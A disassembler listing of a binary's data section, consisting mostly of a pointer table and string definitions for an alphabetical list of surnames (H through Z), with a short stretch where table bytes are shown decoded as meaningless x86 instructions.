aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 